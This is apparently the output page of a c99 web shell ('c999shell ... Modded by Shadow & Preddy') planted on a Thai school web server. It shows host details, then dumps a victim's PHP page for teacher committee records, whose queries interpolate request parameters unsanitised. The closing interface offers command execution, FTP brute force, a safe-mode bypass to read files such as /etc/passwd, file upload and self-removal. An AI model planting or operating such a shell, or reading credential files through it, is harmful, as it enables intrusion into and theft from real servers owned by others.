!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CommitteeMe.php (26.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "committee_tb";
        
        
$myTable2PK "Year_com";
        
$WHERE1 "Teacher_code='$Teacher_code'";
        
        
/**  Table  -->  personal_tb  */
    
        
$query1 " SELECT *  FROM $myTable1  WHERE Username='$Username' ";
        
$result1 $dbObj->execQuery($query1);
        
$rss $dbObj->fetchArray($result1);
            
$Teacher_code $rss['Teacher_code'];
    
        
        
/**  Paging */
        
$page $_GET['page'];
        if( 
$page == "" ) { $page 1; }
        
        
/**  จำนวนข้อมูล ต่อ 1 หน้า  */
        
$perpage $_REQUEST['perpage'];
        if( 
$perpage == "" ) { $perpage 10; }
        
        
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลการพัฒนาบุคลากร</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="left" valign="top" style="padding:10px 0px 5px 10px"><fieldset><legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><a href="Menu_Teach.php">ข้อมูลทั่วไปบุคลากร</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><strong><span class="NOTE">ข้อมูลการบริการวิชาการ</span></strong></legend>
    <?php
        
/**  Config Paging  */
        
if( $perpage == "" ) { $limit $_Config_limit; }
        else { 
$limit $perpage; }
        
        
$scroll $_Config_scroll
        
        
        
/**  ตั้งค่า Default สำหรับการทำ Order By  */
        
if( $OrderBy == "" ) { $OrderBy $myTable2PK; }
                        
        if( !isset(
$_GET['ASCDESC']) ) { $ASCDESC "DESC"; }
                        
        if( 
$_GET['ASCDESC'] == "DESC" ) { $ASCDESC "ASC"; }
        elseif( 
$_GET['ASCDESC'] == "ASC" ) { $ASCDESC "DESC"; } 
        
        
/**  Query เพื่อหา Numrows ก่อน  */
        
$query " SELECT *  FROM $myTable2  WHERE Teacher_code='$Teacher_code' ";
        
        
$result $dbObj->execQuery($query);
        
$numrows $dbObj->_numrows;
        
        
/**  Paging  */
        
$display = ( !isset ($_GET['page']) ) ? $_GET['page'];
        
$start = ( ($display $limit) - $limit );
        
/**  Paging  */
        
        
if( isset($_GET['OrderBy']) ) {
            
$query " SELECT *  FROM $myTable2  WHERE Teacher_code='$Teacher_code'  ORDER BY $OrderBy $ASCDESC ";
        } 
        elseif( !isset(
$_GET['OrderBy']) ) {
            
$query " SELECT *  FROM $myTable2  WHERE Teacher_code='$Teacher_code'  ORDER BY $myTable2PK DESC ";
        }
        
        
$query .= " LIMIT $start, $limit ";
        
$result $dbObj->execQuery($query);
    
?>
  
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="<?=$PHP_SELF;?>?Teacher_code=<?=$Teacher_code;?>&amp;page=<?=$page;?>">
      <tr>
        <td width="780" height="5" colspan="2"></td>
      </tr>
      
      <tr>
        <td colspan="2"><table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td width="26%" align="right"></td>
            <td width="74%" height="10" align="right"></td>
          </tr>
          <tr>
            <td align="left" style="padding-bottom:5px;">ทั้งหมด: <strong><?=$numrows;?></strong> รายการ</td>
            <td align="right" style="padding-bottom:5px;"><font face="Tahoma"><font color="#993333"><font face="Tahoma"><font color="#993333"><font face="Tahoma">
              <input type="button" name="button" id="button" value="เพิ่มข้อมูลการ" style="color:darkgreen; width:100px; cursor:hand" onclick="location.href='AddCommittee.php?Teacher_code=<?=$Teacher_code;?>'" />
              <font color="#993333"><font face="Tahoma">
              <input type="button" name="button" id="button" value="แก้ไขข้อมูล" style="color:darkgreen; width:100px; cursor:hand" onclick="location.href='EditCommitteeList.php?Teacher_code=<?=$Teacher_code;?>'" />
              </font></font></font></font></font></font></font></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td height="296" colspan="2" align="center" valign="top">
          <?php if( $numrows ) { ?>
        <table width="760" border="0" align="center" cellpadding="0" cellspacing="1" class="BORDER-GREY">
          <tr bgcolor="#F8F8F8">
            <td height="25" colspan="3" align="center">&nbsp;</td>
            <td height="13" colspan="3"  align="center" bgcolor="#DFEBF9" style="border:1px solid gray"><font face="Tahoma">แยกประเภทตาม 
              สมศ</font></td>
            <td colspan="5" align="center" class="BORDER-LEFT"><table width="100%" height="31" border="0" align="center" cellpadding="0" cellspacing="1">
              <tr bgcolor="#DFEBF9">
                <td height="13"  align="center" style="border:1px solid gray"><font size="1" face="Tahoma">วิชาการ</font><font size="1" face="Tahoma">วิชาชีพ</font><font size="1" face="Tahoma">วิทยานิพนธ์</font></td>
                </tr>
            </table></td>
          </tr>
          <tr bgcolor="#F8F8F8">
            <td width="20" height="25" align="center"><strong>No.</strong></td>
            <td width="330" align="center" bgcolor="#F8F8F8" class="BORDER-LEFT-RIGHT"><?php
                $myOrderCode 
"Title";
                if(
$OrderBy==$myOrderCode) { 
                    if(
$ASCDESC=="ASC") { 
                
?>
                        <img src="../images/controlpage/desc_order.gif" width="7" height="7"> 
                    <?php 
                    
}
                    if(
$ASCDESC=="DESC") { 
                
?>
                        <img src="../images/controlpage/asc_order.gif" width="7" height="7"> 
                    <?php
                    
}
                } 
            
?><a href="<?=$PHP_SELF;?>?page=<?=$page;?>&amp;OrderBy=<?=$myOrderCode;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;perpage=<?=$perpage;?>"><strong>เรื่อง</strong></a></td>
    <td width="35" align="center"><span class="TEXT-DARK-BLUE10"> พ.ศ</span></td>
    <td colspan="3" align="center" class="BORDER-LEFT-RIGHT"><table width="100%" height="31" border="0" align="center" cellpadding="0" cellspacing="1">
      <tr bgcolor="#DFEBF9">
        <td width="35%" height="13"  align="center" style="border:1px solid gray"><font size="1" face="Tahoma">วิชาการ</font></td>
        <td width="29%" align="center" style="border:1px solid gray"><font size="1" face="Tahoma">วิชาชีพ</font></td>
        <td width="36%" align="center" style="border:1px solid gray"><font size="1" face="Tahoma">วิทยานิพนธ์</font></td>
      </tr>
    </table></td>
            <td colspan="5" align="center" class="BORDER-LEFT"><table width="100%" height="33" border="0" align="center" cellpadding="0" cellspacing="1">
              <tr bgcolor="#DFEBF9">
                <td width="24%" align="center" style="border:1px solid gray"><font size="1" face="Tahoma">ตรวจเครื่องมือ</font></td>
                <td width="11%" align="center" style="border:1px solid gray"><font size="1" face="Tahoma">คปสข</font></td>
                <td width="26%" align="center" style="border:1px solid gray"><font size="1" face="Tahoma">เครือข่ายวิทยาลัย </font></td>
                <td width="23%" align="center" bgcolor="#DFEBF9" style="border:1px solid gray"><font size="1" face="Tahoma">การเป็นวิทยากร</font></td>
                <td width="16%" align="center" style="border:1px solid gray"><font size="1" face="Tahoma">กรรมการ อื่นๆ</font></td>
                </tr>
            </table></td>
            </tr>
          <?php 
           $no 
1+($display-1)*$limit;
            while( 
$rs2 $dbObj->fetchArray($result) ) { 
                
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
          
?>
          <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
            <td height="23" align="center" class="BORDER-TOP"><?=$no;?></td>
            <td align="left" bgcolor="<?=$bgColor;?>" class="BORDER-TOP-LEFT-RIGHT PADDING-LEFT-3 PADDING-RIGHT-3 PADDING-TOP-3 PADDING-BOTTOM-3"><font color="#000000" size="2" face="Tahoma"><? echo $rs2[Title]; ?></font></td>
            <td align="right" class="BORDER-TOP PADDING-RIGHT-5"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Year_com]; ?></font></td>
            <td width="40" align="right"class="BORDER-TOP PADDING-RIGHT-5"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Edu]; ?></font></td>
            <td width="35" align="right"class="BORDER-TOP PADDING-RIGHT-5"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Edu_job]; ?></font></td>
            <td width="43" align="right" class="BORDER-TOP PADDING-RIGHT-5"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Tsis]; ?></font></td>
            <td width="61" align="center" class="BORDER-TOP PADDING-RIGHT-5"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Check_tool]; ?></font></td>
            <td width="27" align="center"class="BORDER-TOP PADDING-RIGHT-5"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Scp10]; ?></font></td>
            <td width="67" align="center"class="BORDER-TOP PADDING-RIGHT-5"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Club_bcnlp]; ?></font></td>
            <td width="55" align="center"class="BORDER-TOP PADDING-RIGHT-5"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[North_network]; ?></font></td>
            <td width="45" align="center" class="BORDER-TOP PADDING-RIGHT-5"><font color="#993333" size="2" face="Tahoma"><? echo $rs2[Else_commit]; ?></font></td>
          </tr>
          <?php 
               $no
++;
            } 
# while 
            
$dbObj->freeresult($result);
          
?>
          <tr bgcolor="<?=$bgColor;?>" onmouseover="this.style.backgroundColor='#F5F9F9'" onmouseout="this.style.backgroundColor=''">
            <td height="23" colspan="11" align="right" bgcolor="<?=$bgColor;?>" class="PADDING-RIGHT-5 BORDER-TOP" style="border-top:double 0px outset #CCCCCC"><table width="779" border="0" align="left" cellpadding="0" cellspacing="0" style="border:1px solid #CCCCCC">
              <tr>
                <td width="52%" align="left" bgcolor="#FDFCEC"><font color="#003366" size="2" face="Tahoma">จำนวนการเป็นกรรมการ 
                  (แยกตามประเภท)</font></td>
                <td width="15%"><table width="99%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr>
                    <td width="40%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql1 "Select * From committee_tb Where Edu='Y' AND Teacher_code='$Teacher_code' AND Year_com='$Year_com'";
                            
$result1 mysql_query($sql1);
                            
$Srs1 mysql_num_rows($result1);
                                echo 
$Srs1;
                          
?>
                    </font></div></td>
                    <td width="32%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql5 "Select * From committee_tb Where Edu_job='Y' AND Teacher_code='$Teacher_code' ";
                            
$result5 mysql_query($sql5);
                            
$Srs5 mysql_num_rows($result5);
                                echo 
$Srs5;
                          
?>
                    </font></div></td>
                    <td width="28%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Tsis='Y' AND Teacher_code='$Teacher_code' ";
                            
$result8 mysql_query($sql8);
                            
$Srs8 mysql_num_rows($result8);
                                echo 
$Srs8;
                      
?>
                    </font></div></td>
                  </tr>
                </table></td>
                <td width="33%" colspan="2"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr>
                    <td width="20%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql1 "Select * From committee_tb Where Check_tool='Y' AND Teacher_code='$Teacher_code' ";
                            
$result1 mysql_query($sql1);
                            
$rs10 mysql_num_rows($result1);
                                echo 
$rs10;
                            
?>
                    </font></div></td>
                    <td width="22%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Scp10 ='Y' AND Teacher_code='$Teacher_code' AND Year_com='$Year_com' ";
                            
$result8 mysql_query($sql8);
                            
$rs11 mysql_num_rows($result8);
                                echo 
$rs11;
                            
?>
                    </font></div></td>
                    <td width="18%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                           
$sql5 "Select * From committee_tb Where Club_bcnlp='Y' AND Teacher_code='$Teacher_code'  ";
                           
$result5 mysql_query($sql5);
                           
$rs12 mysql_num_rows($result5);
                            echo 
$rs12;
                          
?>
                    </font></div></td>
                    <td width="20%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql5 "Select * From committee_tb Where North_network='Y' AND Teacher_code='$Teacher_code' ";
                            
$result5 mysql_query($sql5);
                            
$rs13 mysql_num_rows($result5);
                                echo 
$rs13;
                          
?>
                    </font></div></td>
                    <td width="20%" bgcolor="#FDFCEC"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Else_commit ='Y' AND Teacher_code='$Teacher_code' ";
                            
$result8 mysql_query($sql8);
                            
$rs14 mysql_num_rows($result8);
                                echo 
$rs14;
                          
?>
                    </font></div></td>
                  </tr>
                </table></td>
              </tr>
              <tr>
                <td align="left" bgcolor="#F0FDE8"><font size="2" face="Tahoma">จำนวนการไม่เป็นกรรมการ 
                  (แยกตามประเภท) </font></td>
                <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr>
                    <td width="41%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                          $Teacher_code 
$row[Teacher_code];
                          
$sql3 "Select * From committee_tb Where Edu='N' AND Teacher_code='$Teacher_code' ";
                          
$result3 mysql_query($sql3);
                          
$Srs3 mysql_num_rows($result3);
                          echo 
$Srs3;
                          
?>
                    </font></div></td>
                    <td width="33%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql6 "Select * From committee_tb Where Edu_job='N' AND Teacher_code='$Teacher_code' ";
                            
$result6 mysql_query($sql6);
                            
$Srs6 mysql_num_rows($result6);
                            echo 
$Srs6;
                          
?>
                    </font></div></td>
                    <td width="26%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_com 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Tsis='N' AND Teacher_code='$Teacher_code' ";
                            
$result8 mysql_query($sql8);
                            
$Srs9 mysql_num_rows($result8);
                            echo 
$Srs9;
                          
?>
                    </font></div></td>
                  </tr>
                </table></td>
                <td colspan="2"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr>
                    <td width="20%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql1 "Select * From committee_tb Where Check_tool='N' AND Teacher_code='$Teacher_code' ";
                            
$result1 mysql_query($sql1);
                            
$rs15 mysql_num_rows($result1);
                            echo 
$rs15;
                          
?>
                    </font></div></td>
                    <td width="22%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select * From committee_tb Where Scp10 ='N' AND Teacher_code='$Teacher_code' ";
                            
$result8 mysql_query($sql8);
                            
$rs16 mysql_num_rows($result8);
                            echo 
$rs16;
                          
?>
                    </font></div></td>
                    <td width="18%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql5 "Select * From committee_tb Where Club_bcnlp='N' AND Teacher_code='$Teacher_code' ";
                            
$result5 mysql_query($sql5);
                            
$rs17 mysql_num_rows($result5);
                            echo 
$rs17;
                          
?>
                    </font></div></td>
                    <td width="20%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                           $Teacher_code 
$row[Teacher_code];
                           
$sql5 "Select * From committee_tb Where North_network='N' AND Teacher_code='$Teacher_code' ";
                           
$result5 mysql_query($sql5);
                           
$rs18 mysql_num_rows($result5);
                            echo 
$rs18;
                          
?>
                    </font></div></td>
                    <td width="20%" bgcolor="#F0FDE8"><div align="center"><font color="#993333" size="2" face="Tahoma">
                      <?php 
                            $Teacher_code 
$row[Teacher_code];
                            
$sql8 "Select Count(Else_commit ) as sum8 From committee_tb Where Else_commit ='N' AND Teacher_code='$Teacher_code'";
                            
$result8 mysql_query($sql8);
                            
$rs19 mysql_num_rows($result8);
                            echo 
$rs19;
                          
?>
                    </font></div></td>
                  </tr>
                </table></td>
              </tr>
              <tr>
                <td align="left" bgcolor="#CCE6FF"><font size="2" face="Tahoma">จำนวนการเป็นกรรมการวิชาการ/วิชาชีพ/วิทยานิพนธ์</font></td>
                <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr>
                    <td width="42%" bgcolor="#CCE6FF">&nbsp;</td>
                    <td width="31%" bgcolor="#CCE6FF">&nbsp;</td>
                    <td width="27%" bgcolor="#CCE6FF"><div align="center"><font color="#009966" size="2" face="Tahoma">
                      <?php
                             $SumCommit 
$Srs1 $Srs5 $Srs8;
                             echo
"$SumCommit";
                        
?>
                    </font></div></td>
                  </tr>
                </table></td>
                <td colspan="2"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr>
                    <td width="20%" bgcolor="#CCE6FF">&nbsp;</td>
                    <td width="22%" bgcolor="#CCE6FF">&nbsp;</td>
                    <td width="18%" bgcolor="#CCE6FF">&nbsp;</td>
                    <td width="20%" bgcolor="#CCE6FF">&nbsp;</td>
                    <td width="20%" bgcolor="#CCE6FF"><div align="center"><font color="#009966" size="2" face="Tahoma">
                      <?php
                             $SumCommit 
$rs10 $rs11 $rs12 $rs13; + $rs14 ;
                             echo
"$SumCommit";
                        
?>
                    </font></div></td>
                  </tr>
                </table></td>
              </tr>
              <tr>
                <td align="left" bgcolor="#F0FDE8"><font size="2" face="Tahoma">จำนวนการไม่เป็นกรรมการวิชาการ/วิชาชีพ/วิทยานิพนธ์</font></td>
                <td><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr>
                    <td width="41%" bgcolor="#F0FDE8">&nbsp;</td>
                    <td width="31%" bgcolor="#F0FDE8">&nbsp;</td>
                    <td width="28%" bgcolor="#F0FDE8"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                      <?php
                             $SumUCommit 
$Srs3 $Srs6 $Srs9;
                             echo
"$SumUCommit";
                        
?>
                    </font></div></td>
                  </tr>
                </table></td>
                <td colspan="2"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
                  <tr>
                    <td width="20%" bgcolor="#F0FDE8">&nbsp;</td>
                    <td width="23%" bgcolor="#F0FDE8">&nbsp;</td>
                    <td width="17%" bgcolor="#F0FDE8">&nbsp;</td>
                    <td width="20%" bgcolor="#F0FDE8">&nbsp;</td>
                    <td width="20%" bgcolor="#F0FDE8"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                      <?php
                             $SumCommit 
$rs15 $rs16 $rs17 $rs18 $rs19;
                             echo
"$SumCommit";
                        
?>
                    </font></div></td>
                  </tr>
                </table></td>
              </tr>
              <tr>
                <td colspan="4" align="center"><strong><font color="#003366" size="2" face="Tahoma">ทั้งหมด</font><font color="#FF0000" size="2" face="Geneva, Arial, Helvetica, sans-serif"> <? echo $num ?><font color="#003366" face="Tahoma"> เรื่อง</font></font></strong></td>
              </tr>
            </table></td>
            </tr>
        </table>
        <?php #if ?>
        <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td><?php if( $numrows ) { ?>
              <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr>
                  <td height="10"></td>
                </tr>
                <tr>
                  <td align="left"><span style="font-size:12px">หน้า:
                    <?php
                        
/**  ตรวจสอบการ Order By ของ Query */
                        
if( $ASCDESC=="ASC") { $ASCDESC "DESC"; }  else { $ASCDESC="ASC"; } 
                        
                        
$paging ceil($numrows/$limit);
                                
                        
//=== Display the navigation
                        
if ($display 1) {    
                            
$previous $display 1;                    
                    
?>
                    <a href="<?=$PHP_SELF;?>?page=1&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Teacher_code=<?=$Teacher_code;?>"><font color="#FE830B">|&laquo; หน้าแรก</font></a>&nbsp; <a href="<?=$PHP_SELF;?>?page=<?=$previous;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Teacher_code=<?=$Teacher_code;?>"><font color="#FE830B">&laquo; ก่อนหน้า</font></a>
                    <?php
                        
// end..if
                        
if($numrows != $limit) {                 
                            if(
$paging $scroll) { 
                                
$first $_GET['page']; 
                                
$last = ($scroll 1) + $_GET['page']; 
                            } else {                         
                                
$first 1;                        
                                
$last $paging;                        
                            } 
                            
                            if(
$last $paging ) {                            
                                
$first $paging - ($scroll 1);                            
                                
$last $paging;                            
                            }
                                            
                            for(
$i=$first$i<=$last$i++) {                        
                                if(
$display == $i) {        
                                    echo 
"<font color=red size=2> [<strong>$i</strong>] </font>";
                                } 
                                else {
                                    
//echo " <a href=\"$PHP_SELF?page=$i&user_id=$user_id&user_login=$user_login\">$i</a> ";
                                    
printf(" <a href=\"%s?page=%s&perpage=%s&OrderBy=%s&ASCDESC=%s&Teacher_code=%s\">%s</a> "$_SERVER['PHP_SELF'], $i$perpage$OrderBy$ASCDESC$Teacher_code$i );
                                }        
                            } 
// end..for
                        
// end..if
                            
                        
if($display $paging) {
                            
$next $display 1;                        
                    
?>
                    &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$next;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Teacher_code=<?=$Teacher_code;?>"><font color="#FE830B">ถัดไป &raquo;</font></a> &nbsp;<a href="<?=$PHP_SELF;?>?page=<?=$paging;?>&amp;perpage=<?=$perpage;?>&amp;OrderBy=<?=$OrderBy;?>&amp;ASCDESC=<?=$ASCDESC;?>&amp;Teacher_code=<?=$Teacher_code;?>"><font color="#FE830B">หน้าสุดท้าย &raquo;|</font></a>
                    <?php
                    
// end..if
                
?>
                  </span></td>
                </tr>
              </table>
              <?php #if ?></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td colspan="2">&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result1);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0121 ]--